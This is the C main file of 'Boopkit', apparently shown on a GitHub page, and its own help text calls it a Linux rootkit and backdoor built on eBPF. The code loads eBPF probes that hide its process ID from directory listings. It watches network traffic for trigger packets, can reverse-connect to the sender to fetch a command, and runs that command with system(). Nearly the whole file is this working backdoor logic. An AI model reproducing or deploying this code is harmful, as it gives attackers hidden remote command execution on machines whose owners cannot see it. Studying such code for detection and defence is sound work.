-
Notifications
You must be signed in to change notification settings - Fork 172
/
boopkit.c
473 lines (440 loc) · 13.8 KB
/
boopkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
// Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// ███╗ ██╗ ██████╗ ██╗ ██╗ █████╗
// ████╗ ██║██╔═████╗██║ ██║██╔══██╗
// ██╔██╗ ██║██║██╔██║██║ ██║███████║
// ██║╚██╗██║████╔╝██║╚██╗ ██╔╝██╔══██║
// ██║ ╚████║╚██████╔╝ ╚████╔╝ ██║ ██║
// ╚═╝ ╚═══╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═╝
//
// [boopkit.c]
//
// Where the main() function goes down.
#include <arpa/inet.h>
#include <bpf/bpf.h>
#include <bpf/btf.h>
#include <bpf/libbpf.h> // libbpf
#include <errno.h>
#include <limits.h>
#include <linux/types.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
// clang-format off
#include "boopkit.h"
#include "common.h"
#include "dpi.h"
#include "pr0be.skel.safe.h"
#include "pr0be.skel.xdp.h"
// clang-format on
int runtime__boopkit = 1;
void usage() {
asciiheader();
boopprintf("\nBoopkit.\n");
boopprintf("Linux rootkit and backdoor. Built using eBPF.\n");
boopprintf("\n");
boopprintf("Usage: \n");
boopprintf("boopkit [options]\n");
boopprintf("\n");
boopprintf("Options:\n");
boopprintf("-h, help Display help and usage for boopkit.\n");
boopprintf("-i, interface Interface name. lo, eth0, wlan0, etc\n");
boopprintf("-s, sudo-bypass Bypass sudo check. Breaks PID obfuscation.\n");
boopprintf(
"-r, reverse-conn Attempt reverse RCE lookup if no payload found.\n");
boopprintf("-q, quiet Disable output.\n");
boopprintf("-x, reject Source addresses to reject triggers from.\n");
boopprintf("-p, protect Protect from executing commands. Safe mode.\n");
boopprintf("\n");
exit(0);
}
/**
* recvrce is a last resort attempt to reverse dial for an RCE from a
* boopkit-boop client.
*
* This can be opted-in by passing -r to boopkit.
*
* @param dial IP address to reverse connect
* @param rce
* @return 1 success, 0 failure
*/
int recvrce(char dial[INET_ADDRSTRLEN], char *rce) {
struct sockaddr_in daddr;
daddr.sin_family = AF_INET;
daddr.sin_port = htons(PORT);
if (inet_pton(AF_INET, dial, &daddr.sin_addr) != 1) {
boopprintf(" XX Destination IP configuration failed.\n");
return 0;
}
int revsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (revsock == -1) {
return 0;
}
struct timeval retry;
int retval;
retry.tv_sec = TIMEOUT_SECONDS_RECVRCE;
retry.tv_usec = 0;
retval = setsockopt(revsock, SOL_SOCKET, SO_SNDTIMEO,
(struct timeval *)&retry, sizeof(struct timeval));
if (retval != 0) {
boopprintf("Error (%d) setting socket SO_SNDTIMEO: %s\n", retval,
strerror(errno));
return 0;
}
retval = setsockopt(revsock, SOL_SOCKET, SO_RCVTIMEO,
(struct timeval *)&retry, sizeof(struct timeval));
if (retval != 0) {
boopprintf("Error (%d) setting socket SO_RCVTIMEO: %s\n", retval,
strerror(errno));
return 0;
}
if (connect(revsock, (struct sockaddr *)&daddr, sizeof daddr) < 0) {
return 0;
}
char buffer[MAX_RCE_SIZE];
read(revsock, buffer, MAX_RCE_SIZE);
close(revsock);
strncpy(rce, buffer, MAX_RCE_SIZE);
return 1;
}
/**
* config is the CLI options that are used throughout boopkit
*/
struct config {
int sudobypass;
char pr0besafepath[PATH_MAX];
char pr0bebooppath[PATH_MAX];
char pr0bexdppath[PATH_MAX];
char dev_name[16];
int denyc;
int protect;
int reverseconn;
char deny[MAX_DENY_ADDRS][INET_ADDRSTRLEN];
} cfg;
/**
* clisetup is used to initalize the program from the command line
*
* @param argc
* @param argv
*/
void clisetup(int argc, char **argv) {
cfg.denyc = 0;
cfg.reverseconn = 0;
cfg.protect = 0;
cfg.sudobypass = 0;
strncpy(cfg.dev_name, DEFAULT_PCAP_INTERFACE, 16);
if (getenv("HOME") == NULL) {
strncpy(cfg.pr0bebooppath, PROBE_BOOP, sizeof PROBE_BOOP);
strncpy(cfg.pr0besafepath, PROBE_SAFE, sizeof PROBE_SAFE);
strncpy(cfg.pr0bexdppath, PROBE_XDP, sizeof PROBE_XDP);
} else {
sprintf(cfg.pr0besafepath, "%s/.boopkit/%s", getenv("HOME"), PROBE_SAFE);
sprintf(cfg.pr0bebooppath, "%s/.boopkit/%s", getenv("HOME"), PROBE_BOOP);
sprintf(cfg.pr0bexdppath, "%s/.boopkit/%s", getenv("HOME"), PROBE_XDP);
}
for (int i = 0; i < argc; i++) {
if (argv[i][0] == '-') {
switch (argv[i][1]) {
case 's':
cfg.sudobypass = 1;
break;
case 'x':
strcpy(cfg.deny[cfg.denyc], argv[i + 1]);
cfg.denyc++;
break;
case 'h':
usage();
break;
case 'r':
cfg.reverseconn = 1;
break;
case 'i':
strcpy(cfg.dev_name, argv[i + 1]);
break;
case 'q':
quiet = 1;
break;
case 'p':
cfg.protect = 1;
break;
}
}
}
}
/**
* Shared memory with the kernel
*/
static struct env {
int pid_to_hide;
int target_ppid;
} env;
/**
* cb_pid_lookup is a callback function for PID lookup at runtime
* used in obfuscating boopkit from the rest of the kernel.
*
* @param ctx
* @param data
* @param data_sz
* @return
*/
static int cb_pid_lookup(void *ctx, void *data, size_t data_sz) {
// const struct event *e = data;
return 0;
}
/**
* uid_check is used to check the runtime construct of boopkit
*
* Ideally boopkit is ran without sudo as uid=0 (root)
*
* @param argc
* @param argv
*/
void uid_check(int argc, char **argv) {
long luid = (long)getuid();
if (luid != 0) {
boopprintf(" XX Invalid UID.\n");
if (!cfg.sudobypass) {
boopprintf(" XX Permission denied.\n");
exit(1);
}
boopprintf(" XX sudo bypass enabled! PID obfuscation will not work!\n");
}
long lpid = (long)getpid();
long lppid = (long)getppid();
if (lpid - lppid == 1) {
// We assume we are running with sudo at this point!
// If the ppid() and pid() are close together this
// implies that the process tree has cascaded a new
// ppid() for the process. In other words, we are probably
// running with sudo (or similar).
boopprintf(
" XX Running as cascaded pid (sudo) is invalid for obfuscation.\n");
if (!cfg.sudobypass) {
boopprintf(" XX Permission denied.\n");
exit(1);
}
boopprintf(" XX sudo bypass enabled! PID obfuscation will not work!\n");
}
boopprintf(" -> getuid() : %ld\n", luid);
boopprintf(" -> getpid() : %ld\n", lpid);
boopprintf(" -> getppid() : %ld\n", lppid);
}
/**
* exec is where the magic happens.
*
* @param rce
* @return
*/
int exec(char *rce) {
char *ret;
ret = strstr(rce, BOOPKIT_RCE_CMD_HALT);
if (ret) {
runtime__xcap = 0; // Stop the xcap loop
runtime__boopkit = 0; // Stop the boopkit loop
boopprintf(" XX Halting boopkit: %s\n", BOOPKIT_RCE_CMD_HALT);
free(rce);
return 0;
}
boopprintf(" -> Found RCE: %s\n", rce);
if (!cfg.protect){
boopprintf(" <- Executing: %s\n", rce);
system(rce); // :)
}else {
boopprintf(" XX Bypassing execution! Running in protect mode. Safe mode.\n");
}
free(rce);
return 1;
}
/**
* main
*
* @param argc
* @param argv
* @return
*/
int main(int argc, char **argv) {
clisetup(argc, argv);
asciiheader();
uid_check(argc, argv);
boopprintf(" -> Logs : /sys/kernel/tracing/trace_pipe\n");
int loaded, err;
struct bpf_object *bpobj;
struct pr0be_safe *sfobj;
struct bpf_program *progboop = NULL;
struct ring_buffer *rb = NULL;
char pid[16];
{
// Start a new thread for DPI. @zomgwtfbbqkewl
pthread_t th;
pthread_create(&th, NULL, xcap, (void *)cfg.dev_name);
}
if (cfg.protect) {
boopprintf(" -> Running in (protect) safe mode. Will not execute commands!\n");
}
// ===========================================================================
// [pr0be.safe.o]
{
boopprintf(" -> Loading eBPF Probe : %s\n", cfg.pr0besafepath);
sfobj = pr0be_safe__open();
// getpid()
env.pid_to_hide = getpid();
sprintf(pid, "%d", env.pid_to_hide);
strncpy(sfobj->rodata->pid_to_hide, pid,
sizeof(sfobj->rodata->pid_to_hide));
sfobj->rodata->pid_to_hide_len = strlen(pid) + 1;
sfobj->rodata->target_ppid = 0;
loaded = pr0be_safe__load(sfobj);
if (loaded < 0) {
boopprintf("Unable to load eBPF object: %s\n", cfg.pr0besafepath);
boopprintf("Privileged access required to load eBPF probe!\n");
boopprintf("Permission denied.\n");
return 1;
}
boopprintf(" -> eBPF Probe Loaded : %s\n", cfg.pr0besafepath);
int index = 1;
int prog_fd = bpf_program__fd(sfobj->progs.handle_getdents_exit);
int ret = bpf_map_update_elem(bpf_map__fd(sfobj->maps.map_prog_array),
&index, &prog_fd, BPF_ANY);
if (ret == -1) {
boopprintf("Failed to hide PID: %s\n", strerror(errno));
return 1;
}
index = 2;
prog_fd = bpf_program__fd(sfobj->progs.handle_getdents_patch);
ret = bpf_map_update_elem(bpf_map__fd(sfobj->maps.map_prog_array), &index,
&prog_fd, BPF_ANY);
if (ret == -1) {
boopprintf("Failed to obfuscated PID\n");
return 1;
}
err = pr0be_safe__attach(sfobj);
if (err) {
boopprintf("Failed to attach %s\n", cfg.pr0besafepath);
return 1;
}
rb = ring_buffer__new(bpf_map__fd(sfobj->maps.rb), cb_pid_lookup, NULL,
NULL);
if (!rb) {
boopprintf("Failed to create ring buffer\n");
return 1;
}
}
// [pr0be.safe.o]
// ===========================================================================
// ===========================================================================
// [pr0be.boop.o]
{
boopprintf(" -> Loading eBPF Probe : %s\n", cfg.pr0bebooppath);
bpobj = bpf_object__open(cfg.pr0bebooppath);
if (!bpobj) {
boopprintf("Unable to open eBPF object: %s\n", cfg.pr0bebooppath);
boopprintf("Privileged access required to load eBPF probe!\n");
boopprintf("Permission denied.\n");
return 1;
}
loaded = bpf_object__load(bpobj);
if (loaded < 0) {
boopprintf("Unable to load eBPF object: %s\n", cfg.pr0bebooppath);
return 1;
}
boopprintf(" -> eBPF Probe Loaded : %s\n", cfg.pr0bebooppath);
bpf_object__next_map(bpobj, NULL);
bpf_object__for_each_program(progboop, bpobj) {
const char *progname = bpf_program__name(progboop);
const char *progsecname = bpf_program__section_name(progboop);
boopprintf(" -> eBPF Program Attached : %s\n", progsecname);
struct bpf_link *link = bpf_program__attach(progboop);
if (!link) {
boopprintf("Unable to link eBPF program: %s\n", progname);
continue;
}
}
}
// [pr0be.boop.o]
// ===========================================================================
struct bpf_map *bpmap = bpf_object__next_map(bpobj, NULL);
const char *bmapname = bpf_map__name(bpmap);
boopprintf(" -> eBPF Map Name : %s\n", bmapname);
int fd = bpf_map__fd(bpmap);
// logs
for (int i = 0; i < cfg.denyc; i++) {
boopprintf(" XX Deny address : %s\n", cfg.deny[i]);
}
boopprintf(" -> Obfuscating PID : %s\n", pid);
sleep(1);
boopprintf(
"================================================================\n");
int ignore = 0;
while (runtime__boopkit) {
ring_buffer__poll(rb, 100); // Ignore errors!
// perf_buffer__poll(pb, 100); // Ignore errors!
int ikey = 0, jkey;
int err;
__u8 saddrbytes[4];
struct event_boop_t ret;
while (!bpf_map_get_next_key(fd, &ikey, &jkey)) {
err = bpf_map_lookup_elem(fd, &jkey, &ret);
if (err < 0) {
continue;
}
// Calculate saddrval
char saddrval[INET_ADDRSTRLEN]; // Saturn Valley. If you know, you know.
memcpy(saddrbytes, ret.saddr, sizeof saddrbytes);
inet_ntop(AF_INET, &saddrbytes, saddrval, sizeof(saddrval));
// Filter boop addrs
ignore = 0;
for (int i = 0; i < cfg.denyc; i++) {
if (strncmp(saddrval, cfg.deny[i], INET_ADDRSTRLEN) == 0) {
// Ignoring string in deny list
ignore = 1;
break;
}
}
if (ignore) {
//boopprintf(" ** Ignoring boop from source: %s\n", saddrval);
bpf_map_delete_elem(fd, &jkey);
ikey = jkey;
continue;
}
boopprintf(" ** Boop source: %s\n", saddrval);
// Always check for RCE in the ring buffer.
char *rce = malloc(MAX_RCE_SIZE);
int xcap_found;
xcap_found = xcaprce(saddrval, rce);
if (xcap_found == 1) {
exec(rce);
bpf_map_delete_elem(fd, &jkey);
ikey = jkey;
continue;
}
if (cfg.reverseconn) {
boopprintf(" -> Reverse connect() %s for RCE\n", saddrval);
int retval;
retval = recvrce(saddrval, rce);
if (retval == 0) {
exec(rce);
bpf_map_delete_elem(fd, &jkey);
ikey = jkey;
continue;
}
}
bpf_map_delete_elem(fd, &jkey);
ikey = jkey;
}
}
}